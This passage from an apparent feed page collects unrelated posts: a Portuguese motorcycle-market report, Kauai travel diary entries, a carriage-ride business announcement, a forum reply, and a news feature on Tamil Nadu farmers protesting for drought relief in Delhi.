eléctricos, não exceda 400 kg ou 550 kg, consoante se destine, respectivamente, ao transporte de passageiros ou de mercadorias.» Nesta classificação cabem os veículos de quatro rodas, que em tudo se assemelham a um automóvel, mas que podem ser conduzidos sem carta de condução – os “microcars” –, mas também os “moto4” que são parte integrante do catálogo de construtores de motos. Com esse fito, ao analisarmos a evolução de matrículas novas constatamos que a evolução é positiva até 2001, voltando-o novamente a ser depois de 2004. Aliás, note-se bem que de 2005 para 2006 o salto é de quase 36%. Indo de encontro ao detalhe dos registos, deparamo-nos com duas realidades que se aproximam. Se por um lado, os sete principais fornecedores de quadricilos são construtores de motos (logo são os “quads” a dominar esta categoria), quem, de facto, tem incrementado a taxa de crescimento das vendas é a indústria de quadriciclos “com capota”. O que desvirtua, em parte, este estudo, já que, em última instância, são viaturas com naturezas completamente distintas. Todavia, é claramente uma pista a ser seguida com toda a atenção.

    Distribuição do parque Segurado de MOTOCICLOS por Distritos
    Segundo os valores reportados pelas Seguradoras ao Instituto de Seguros de Portugal (Ministério das Finanças), esta contabilização manifesta tendência crescente, ainda que ligeira. Esta análise não manifesta, pois, correlação directa com as anteriormente apresentadas uma vez que:
    • Apenas são considerados os veículos com matrícula;
    • Apenas são considerados os veículos com seguro (código da empresa de seguro correcto);
    • Apenas são considerados os registos com data válida (AAAA-MM-DD);
    • Apenas são considerados os registos com data de início de seguro;
    • Nas circunstâncias em que existe mais do que um registo da mesma matrícula, apenas é considerado aquele cuja data de início é a mais recente (desde que inferior à data a que a informação se reporta);
    • Um registo apenas é considerado se a respectiva apólice se encontra em vigor na data a que diz respeito;
    • Todos os registos que se encontrem nas condições descritas, mas que não tenham devidamente preenchido o código de concelho e/ou o código de categoria. O ISP optou por considerá-los nas categorias “Desconhecido” e “Outros” respectivamente.

    Com a tabela seguinte podemos aquilatar a dispersão geográfica dos motociclos em Portugal. Há, logicamente, uma forte concentração junto dos grandes perímetros urbanos, sendo mais reduzida à medida que nos aproximamos de zonas eminentemente rurais. Porém, uma curiosidade: Faro é o distrito com mais motos por cada cem mil habitantes. O que lhe confere autoridade moral/nacional para realizar a maior concentração de motos da Europa. O distrito com menos motos per capita é Castelo Branco, logo seguido do Porto. Lisboa apresenta uma correspondência com a média verificada.

    Evolução do Mercado Europeu
    Na União Europeia (Europa dos 15), em sete anos, venderam-se perto de 8,5 milhões de motos, sendo que 2000 foi o melhor ano comercial. Em 2002, os valores bateram no fundo da tabela (tal como em Portugal), e daí para cá a evolução tem sido positiva. Ainda não estão disponíveis os dados 2006, mas crê-se que a tendência se terá mantido. Para a República Checa, Estónia e Lituânia, as taxas de crescimento são de três dígitos. Para os restantes países, os dados são esparsos e, por isso mesmo, inconclusivos. Refira-se, no entanto, que o primeiro deles aplica aos motociclos as menores cargas fiscais de toda a Europa, tendo inclusive, prémios de seguros com custos extremamente reduzidos (cerca de 10€). Não admira, pois, que se assista ao despontar da democratização deste produto naquele mercado. Em termos absolutos, a UE apresenta um conjunto de seis países que, por razões demográficas, mas também sócio-culturais, lideram o ranking de vendas de motociclos na região: Itália, Alemanha, França, Reino Unido, Espanha e Grécia. Excepção feita à Alemanha e à vizinha Espanha, todos os outros apresentaram evolução positiva entre o início e o fim do período em análise. Comparando a tendência da UE com Portugal, o auge das vendas ocorreu em 2000 (e não em 1999 como cá), tendo o volume global decrescido continuamente até 2002. A inversão de tendências acontece precisamente neste ponto. A partir de 2003, a UE inicia a recuperação e Portugal permanece em queda, abandonando a orientação do conjunto; circunstância que se deverá verificar até 2006 (apesar de, como já mencionado, os dados oficiais ainda não estarem disponíveis). A extinção da nossa indústria de motociclos, a própria mutação dos interesses pessoais dos consumidores, a falta de incentivos fiscais para aquisição e obtenção de licença de condução, e os sucessivos aumentos do IVA serão, genericamente, as razões que conduziram Portugal a este cenário marginal, quando comparado com o que acontece no restante continente europeu. Refira-se igualmente como causas as restrições legislativas, o desacompanhamento e despromoção do conceito e seus benefícios a nível institucional (poder político) e a insensibilidade das seguradoras, a par com as políticas comerciais brandas e pouco efectivas de fabricantes e importadores.

    Conclusão
    Perante a realidade em apreço, dois aspectos se nos afiguram evidentes: o sector está em crise e a China está a conquistar quota de mercado. A aposta chinesa não é na inovação nem na qualidade, mas, antes, na melhor relação qualidade/preço. Os seus produtos destinam-se ao segmento das motos de baixa cilindrada, onde a simplicidade mecânica e a estética parcimoniosa, aliadas a uma economia de escala com mão-de-obra barata, permitem reduzir drasticamente os custos de produção a favor de um preço final muito competitivo. Por outro lado, estes dados mostram-nos que no nosso país há uma vastíssima carteira de clientes interessada em motos com baixo custo de aquisição e manutenção. São as pessoas que necessitam de moto para, diariamente, se deslocarem dentro das cidades (onde o aumento da mobilidade e a poupança financeira são benefícios efectivos e imediatos). Ou que, a ser na província, as pessoas mais não precisam do que um veículo com motor até 250cc, para pequenos trajectos ao longo desse “Portugal Rural”. No fundo, esse é o nosso mercado tradicional.
    Sempre existiu, desde a época das fábricas de motorizadas no norte do país até aos nossos dias a adopção de medidas de incentivo – como aquela preconizada na directiva comunitária 125cc/Carta B, onde condutores de automóveis ligeiros estariam habilitados a conduzir motociclos até 125cc – poderiam deflagrar uma definitiva retoma do sector. Até porque, uma observação mais atenta do quotidiano revela-nos que não está a acontecer uma renovação da classe motociclista. Na prática, este grupo está, todos os anos, um ano mais velho. Não há uma nova geração a entrar no meio. Com a crise que se alastra no ramo, não são só os departamentos comerciais de revendedores e concessionários de motos que acabam por ser afectados. É-o toda uma indústria, desde os fabricantes de acessórios, vestuário e componentes mecânicos até aos serviços técnicos – quase sempre dependentes de um concessionário oficial ou revendedor. Quanto menor o número de unidades comercializadas, menor será o número de intervenções de reparação e manutenção a serem requisitadas. Pelo que, a não inversão da tendência de queda, irá deixar lentamente uma marca incómoda nos tecidos económico e social, pois não é só o plano macro-económico que perde o contributo deste sector, mas a própria micro-economia é posta à prova, seja através de mão-de-obra excedentária, ou de crédito malparado, ou até mesmo de processos de falência e contencioso. Sob um outro prisma, com a escalada do preço do petróleo, e com a necessidade de reduzir as emissões poluentes para a atmosfera, a utilização de motos como meio de transporte, sobretudo em centros urbanos, seria – à semelhança do que acontece pela Europa fora – uma opção natural com benefícios colectivos, longe de serem, de todo, despiciendos.
    © Todos os direitos do texto estão reservados para REVISTA ANECRA, uma publicação da ANECRA. Contacto para adquirir edições já publicadas: +351 21 392 90 30.
    © General Moto, by Hélder Dias da Silva 2008

              Mandarin 2.0        
    Me entero leyendo un recuadro marginal del The Economist de esta semana que millones de personas se bajan los podcasts de chinesepod.com y unas decenas de miles pagan servicios premium por tener clases individuales por Skype de Mandarin. Spanishsense.com también está dentro de los grandes éxitos. Cómo utilizar podcasts y voz sobre IP en la …
              Kauai Day Six, Monday        

    Kauai Day Six, Monday


    This morning I woke up about 8:30 and made some chocolate macadamia nut coffee, which then was left in the pot for awhile because I decided to go to the gym along with Drew. My usual workout is some weight training and mostly treadmill and the stair machine, but Drew suggested some weights and new workouts and some killer crunches. I was too tired to run after!


    Breakfast was half an everything bagel with scrambled egg on top, mmm! And the neglected coffee. ^_^ Andra and Drew went off to Costco while the rest of us had a lazy morning, reading and dozing and getting ready. Once they came back we decided that today we wanted to snorkel today!


    We headed to Lawai beach and rented snorkel gear for $5 a day from Boss Frog's and then got in the water! It was very rocky and it was easier to swim through the shallow water than to walk with flippers. Right away we saw tons of beautiful fish! I recognized those moor fish, parrots, angelfish, and most definitely the two sea turtles that we found! Or rather, Andra and I found one farther out (he hid under a coral cave but then came up and bobbed about getting air!) and then the others found one right by the shore! We got scraped up by the rocks in about one foot of water at times, and have a few cuts but ohmigosh it was soo close and cool! The waves were pretty strong and were knocking us around and we had to be careful not to get knocked into the turtle! He was just chowing down on the food on the rocks, ignoring us. We got out after a while and rinsed off, then decided we were all starving and needed pizza.


    We drove to a Pizzetta restaurant and had freshly made calzones and pasta! I had a Hawaiian calzone, delicious. Then we drove back and relaxed. I went to load more photos in the lobby and now am back in the room eating popcorn and watching the movie Mario. Good times. ^_-


              Kauai Day One!        
    On June 21st around 10:30 pm I arrived at my friend's where I would be spending the night so her mom could drive us and her brother my friend's brother to the airport at San Jose, a three hour drive from where we would begin. I was expecting my friend to be asleep because of our early start that next morning, but she and her mom was awake and eating Chinese salad, so we all stayed up chatting and preparing until nearly 1:00 a.m.

    Our alarms went off at 2:00 a.m.

    After dragging myself out of their comfy guest bedroom where my friend and I had slept that night, we got all of our things together and were in the car before 3:00 a.m. driving sleepily to San Jose. I was completely wiped and fell asleep on the side of the car, the headrest in front of me, and my friend's leg multiple times, and when I next awoke, it was 5:00 and we were nearing the airport. my friend's mom dropped us off and we said our goodbye's before heading inside with our (heavy!) bags on our (tired!) feet. It was a bit of a struggle to get our bags checked, mainly because there was no correctly marked lines or directions and the airport lady running around would says something that confused us and then run off again. But we did it eventually! Then we went through the longest security line ever! It was like standing in line at Space Mountain at Disneyland. We finally made it through and then we were in the airport terminals. We were also hungry.

    So we went to Starbucks and I had a white mocha and a cranberry scone, and my friend and her brother got croissants and a breakfast sandwich. Yummy! We chugged our drinks because it was time for us to get in line to board at that time, on the smallest big plane I've ever been on. It held maybe 80 people and had the teeeniest seats ever! my friend and I sat together and my friend's brother a few seats in front of us. We departed by 7:20 a.m. and arrived a little over an hour later in LA. my friend dozed that whole flight and the waiting time before our next flight, but I wasn't able to sleep on that flight.

    The next flight we took a shuttle (loooong ride!) across the airport to the proper terminal to get to our gate, which was either 43 or 48. We weren't sure because the screen had bad pixels. We thought it was 43. Our flight was meant to depart at 9:50. my friend fell asleep in the chair, I called Mom, Nick, Dad, and my aunt Terry who lives by LA, and then suddenly my friend's brother says, “It's 9:50 and we haven't been called yet. I'm gonna go check it out.” Oblivious to the meaning of that sentence, I nod and he disappears, leaving me with a sleeping friend and some bags.

    A few minutes later he jogs back and tells us to hurry, wake up, we're at the wrong gate and they are boarding NOW. We grab our stuff and book it to gate 48 and board the plane.

    This flight we did not have seats next to each other, which was very disappointing. We were going to trade with people but no one was able to, so my friend was at the front, my friend's brother in the middle, and I in the very last row by the window, next to a family of four plus a cousin. It was a loooong flight. The kids across from me were quiet which I was thankful for, but not talking to anybody for five plus hours kind of sucked. my friend stopped by once and I got up once to use the bathroom and go say hi back, but as soon as I headed down the plane the seatbelt sign turned on and I got back down, and it was too difficult to get back out to attempt it again. I read Emma by Jane Austen and slept that flight away.

    Finally we landed in Kauai! It was 12:56 p.m. Hawaiian time (three hours earlier than California) and we deplaned, got our bags, and started sweltering in the humidity. It was about 75 degrees in Kauai but the humidity made it feel like we were swimming through the air, definitely hot the dry heat we were used to around Sacramento.

    We took a shuttle to the Hertz car rental place, where my friend (awesome my friend, who planned this whole damn thing) had rented us a Nissan Vesta AND where they got a surprise $150 discount on the underage driver thing because the guy had a coupon he gave us! Yay!

    Then we drove off to Poipu, a resort area on the South side of the island, using my friend's brother's phone for a GPS. We didn't get lost, but it did take a while because all the drivers here are apparently sloooow! We were distracted, however, by the gorgeous lush plants and scenery and the amazing hills and cliffs. We drove through the resort area until we made it to our beautiful resort, and parked and trekked inside in our sticky airplane clothes, where we were greeted with “Mahalo!” and given leis and told some of the resort's events and checked in. We then grabbed our bags and walked five or ten minutes to our building, and took the elevator to the third floor to our room.

    Our ocean-front room.

    In Kauai.

    WHEEEEE!!!

    The ocean in front of me as I type this is not an ocean you can wade in. It hits up against a rock bank/cliff and makes some impressive smashes, and is beautiful to see. The entire suite we have is gorgeous. It had a living room, a dining room, a full kitchen, a master bedroom with a king bed and a master bathroom with a huge tub and a huge shower, a smaller bedroom with a Queen bed, a smaller bathroom but still a large shower, and a few closets. And it had a balcony, which has a table and four chairs, a smaller side table, and a lounge chair that I am sitting on at 6:11 a.m. and typing this down in Open Office to hopefully transfer to my blog later today with some photos.

    Anyhoo, after arriving yesterday we were sooo hungry because the long flight didn't feed you unless you paid $10 for a salad or sandwich, and since we had some trail mix bars it wasn't necessary. We decided to go down to the grill at the resort, and my friend and I had a delicious fresh fish sandwich with fries and my friend's brother had a burger. We were right by this huuuge pool that had lots of people swimming and lounging around. It was a pleasant spot.

    There was also an incident.

    A bird incident.

    While we were eating, my friend noticed “the cutest baby birds ever!” flocking around us hoping for some crumbs. I decided to feed them some even though my friend warned they would all come around and pester me for more. I tossed them a few crumbs and started to eat a french fry. I took a bite and had another bite to go when one of the small birds decided I wasn't sharing enough.

    It flew at me, beating its wings in my face and hooking its claw around my lip for purchase as it tried to eat the french fry that I was eating. I screamed and flung my hand up at the bird, and it flew away, leaving me a panting pile of panic and the other two dying of laughter. The long and short of it is I do not in fact, now have bird rabies, and that I will never in my whole entire life feed birds again. (Later today I would find a placard by the main room that says "DO NOT FEED THE BIRDS". Oops).

    Another odd thing happened during our dinner. I started getting really dizzy. I'm not sure why, if it was the lack of sleep, the two flights and possibly altitude sickness, or the humidity, but we came back to our room and all decided to lay down. I called Nick and talked for a while, still feeling like I was on a boat rocking back and forth even though I was laying down. We hung up and I decided to nap for a while. I fell asleep around 4 or 4:30.

    I woke up after my friend and my friend's brother went to get groceries, after the rest of our party arrived (Drew, his brother Zach, and his girlfriend Allie) and after they had made and eaten a pizza and were chatting around the dining room table. It was after midnight.

    I stumbled out, said hi, and stumbled to the bathroom to take out my horribly goopy and glued in contacts. Then I walked back out and redid my hi, sitting down and chatting for a while as well. Within the hour we were all back in bed, though I was afraid sleeping would be impossible now after a day of napping and six straight hours of sleep.

    My friend and her brother took the master bedroom, Allie and I took the Queen bedroom, and Drew and Zach slept on the pull-out couch. Allie dropped off right away and it took me about two hours to get anywhere near sleep. I kept starting to doze off and then jerking awake. It was hard to sleep without Nick. I still woke up every two hours or so, but I managed to stay asleep until just before six. The rooms were humid (we had the window open to hear the ocean and it was looooud, it also rained sporadically and loudly through the whole night) and I was hot and not tired anymore. So, in the dark of the room, I grabbed my laptop and snuck through the living room where Drew and Zach were sleeping, opened the slider as quietly as possible, and sat down to write everything that happened yesterday, while watching the sunrise. (It's beautiful, by the way). It has been raining with sprinkles and outright downpours since I've been out here, but it is cooler and the mist is welcome. The ocean is crashing into the rocks and those (evil) small birds are chirping. I think I'm the only one awake right now, so I'll stay out here for a while longer and perhaps doze a bit more.

    On the balcony with an ocean-view in Kauai.

    EEEEEEEE!!!

    (Pictures have been taken, but with a really good camera, and they are too large to even upload to Photobucket quickly. Wifi is only available in the main room unfortunately, and my battery is running out. I'll get them up as soon as possible, but in the meantime, here is a dark and stormy looking picture of the view off our balcony!)


              HOWTO: Fix OneDrive sync client login hangs        
    For the last week, the OneDrive sync client on my machine would not login.  The client’s System Tray icon just sat there and said, “Signing in” forever. Attempting to right mouse click on the SysTray icon for OneDrive (for the OneDrive for Business connection) simply revealed a mostly greyed out menu that was basically useless.  […]
              Sunday weddings and afternoon rides        


    I admit I have been neglecting our Facebook page. I have failed to upload photos from recent events and I have been driving a lot lately. This has resulted in me not being in a position to take photos which is going to happen again today most likely with our Sunday wedding. No rest for the wicked is what they say.

    We have found ourselves becoming busier and busier. Last year's tax returns showed our gross almost doubled from previous years. We have added new horses and new carriages to our fleet. Above pictured is our Carriage Machine Shop aka Bird in Hand Amish made 8 passenger wagonette.

    The addition of this carriage is for a new service we will be offering come fall when it cools off a bit. We are going to be offering Sunday after church carriage rides starting here from our farm.The rides will meander down gravel and quiet country roads surrounding us. They will last longer than a typical city hack ride does and will offer something for those of you that are looking to just relax and kick back rather than playing chicken with cars in a busy downtown.

    Your welcome to bring along snacks and refreshments to enjoy on the carriage, maybe bring a picnic basket! As you can see it has a top to shade you from the sun. Depending on the response we may be adding additional days and times to the rides. If you would like more information, or want to get on a list to be sent the dates, or make a reservation call me at (501) 232-4102

    We are excited about this new service. For our old friends, new friends, and those we have not met yet! We hope to see you soon! :)
              Jeff Johnson Underground Training Lab 2.0 Review        






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    Underground Training Lab 2 is a membership coaching club available for a limited number of customers . It’s a 10 modules program and as i know that what you see is better than what you read , so if you want to check the modules of this Now, Let’s here from Satisfied Customer who joined the first edition of this program :






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              Re: The galleries [by Winterhawk]        
    HeroMorph site questions & Suggestions::[Announcement - please read] The galleries are working again!!!
    you are not saying that it doesn't scroll once you load the page but once the page loads it doesn't scroll fast enough for you. Because if you are saying it doesn't scroll fast enough then move the slider bar quicker. It has nothing to do with the site or code we have put on. once a page is fully loaded the speed of scrolling is Dependant on your machines memory and browser not the site. the site is skinnier so it in effect is taller then it used to be so it will take a fraction of a second to click the slider bar and drag it down to the bottom of the page,

    But truthfully, I don't have time to trouble shoot a problem that would have to be on your end of things.

    Locking thread
              Ryots wronged, take protest to Delhi        
    Teaser: 
    As the TN farmers’ protest in Delhi enters its fourth week, all eyes are on the Centre which is not budging.
    Tamil Nadu farmers protest for drought relief in Delhi.

    A woman stands with a begging bowl and a placard strung around her neck. An old man shuffles along barefoot in the street at Jantar Mantar, the official site of a farmers’ protest in the heart of New Delhi. He finds his way through a group of farmers gathered at the protest site on a hot summer afternoon. Dressed in green loincloths, they are lying motionless on the road and the footpath exhausted after their meetings with the deputy speaker of Lok Sabha M. Thambidurai, MDMK general secretary Vaiko and Congress vice president Rahul Gandhi in the past few days.

    These are farmers from Tamil Nadu on a protest which is in its fourth week. The drought situation on the Cauvery belt in Tamil Nadu has gone from bad to worse this year with the state witnessing the worst spell in 140 years from a poor northeast monsoon, as per the India Meteorological Department. The state government officially declared a drought in January 2017.

    “The Centre has not announced a drought relief package yet despite our long-standing protest. The High Court of Tamil Nadu has issued directions to the state government to write off all agricultural loans. But we will not budge from here till the Centre hears us out,” says Sivaprakash, a farmer from Dindigul in Tamil Nadu.

    Sivaprakash is a part of the group of over 100 farmers representing the ‘Desiya Thenidhiya Nathigal Inaippu Vivasayigal Sangam’ (National South Indian River Interlinking Sangam). They have been protesting at Jantar Mantar since March 14, 2017. “Hundreds of farmers have committed suicide given the drought conditions in the state which was preceded by the devastating cyclone Vardah. Even the National Human Rights Commission (NHRC) has sought a detailed report from the state government on this,” says Sivaprakash. Earlier in January, the NHRC had taken suo motu cognisance of the media reports on the suicide of 106 farmers in one month in Tamil Nadu.

    Waiting for an ethical response

    With the government unmoved by their protest, members of the Sangam resorted to skull protest to intensify their agitation. “Through our skull protest, where we are displaying the skulls of farmers who have committed suicide in the wake of the drought in the state, we are seeking a drought relief package from the Centre. The skulls we are using in the protest symbolise our fate if the state does not help us out. Debt relief is being provided to the wealthy people. What about us, the farmers who have toiled so hard?” asks P. Ayyakannu, president of the Sangam, who hails from the Tiruchirappalli district in Tamil Nadu.  

    The state government had in February 2017 sanctioned a drought relief package of Rs 2,247 crore for 32 lakh farmers of the state. “The state government gave Rs 3,000 each as compensation for crop losses to those who depend on seasonal rain and Rs 5,465 per acre to those who depend on irrigation. How is that enough to make up for the losses we have faced?” Ayyakannu asks. “This is highly inadequate and we demand a drought relief package of Rs 40,000 crore from the Centre,” says Saravana Kumar Vasudeva, who belongs to a farmer family in Theni, Tamil Nadu. “We also want a waiver of loans, better support price for our produce, lower input prices and above all, solutions to water scarcity in the region," says Saravana.

    Natarajan who has come all the way from Karur in Tamil Nadu says, “I lost my crops to this drought and have an outstanding debt of around Rs 5 lakh from a nationalised bank. How will I repay this? I have no money left. Why can’t the government extend the waiver for loans from nationalised banks like they have done for cooperative banks?”

    “We wanted to make a representation to the prime minister about the agrarian situation in Tamil Nadu but even after 28 days, our representatives have not been granted an appointment. This only shows the government's claim that it is sensitive to farmers is hollow,” says Ayakannu. “Farmers would be forced to intensify their agitation unless the issue is settled,” he adds.

    Catching the people’s imagination

    Agitators at the protest site.The farmers from the Cauvery belt have been joined by farmers from the other states in the protest. “Our livelihoods have been destroyed. To drive home this point, we are using macabre elements in the protest like skulls, rats and snakes. We are carrying begging bowls, shaving half of our heads and staging mock funerals. We even stripped in front of the prime minister’s office yesterday. But other than the media, no one seems to be noticing us despite the gravity of the situation,” says Manohar Patil from Maharashtra who has joined in the protest.

    Some of their demands include setting up of the Cauvery Management Board and interlinking of the national rivers to deal with the lack of water in Cauvery. “Why can’t the Centre force the Karnataka government to release water from Cauvery when the Supreme Court has directed Karnataka to do so as many as seven times? The Center talks so much about Ganga but nothing on Cauvery,” says Saravana.

    “We are languishing here for days but the Centre has no interest in hearing us out. How do you think our families will survive with no income?” asks Natarajan. “Unable to repay our loans, we are left with no option but to rot in Delhi,” he says.

    “Our crisis deepened this year because Karnataka, in spite of the Supreme Court order, refused to release Cauvery water to Tamil Nadu,” says Kuppuswamy, a farmer from Villupuram district of Tamil Nadu. Many agitating farmers are senior citizens and are also demanding a pension scheme where farmers over 60 years of age get Rs 5,000 each.

    Whose fault is it anyway?

    The Centre considers drought relief as the responsibility of the state. The state, on the other hand, has approached the Centre and sought an assistance of Rs 39,565 crore from the National Disaster Relief Fund for drought relief. Following this, a central team has visited Tamil Nadu to assess the condition and has submitted its report. Union Minister for Agriculture Radha Mohan Singh plans to take it up at a high-level committee meeting soon. However, it may be difficult for the Centre to waive off loans for the Tamil Nadu farmers alone as there are other states too which are in a similar situation. Tamil Nadu farmers may get some financial assistance but will that solve the current crisis of farmer debts and suicides?

    Droughts are not just episodic in nature but are a structural problem. Drought or no drought, farmers will continue to fall in debt traps given their dependence on high-cost farming methods using fertilisers, pesticides, machinery and seeds. At the same time, crops are no longer fetching them remunerative prices from which they can profit. The answer to this crisis may be in adopting low-cost sustainable farming methods. Meanwhile farmers should be provided income security to wean them off the debt trap. Let’s wait and watch if the state responds well to the current crisis.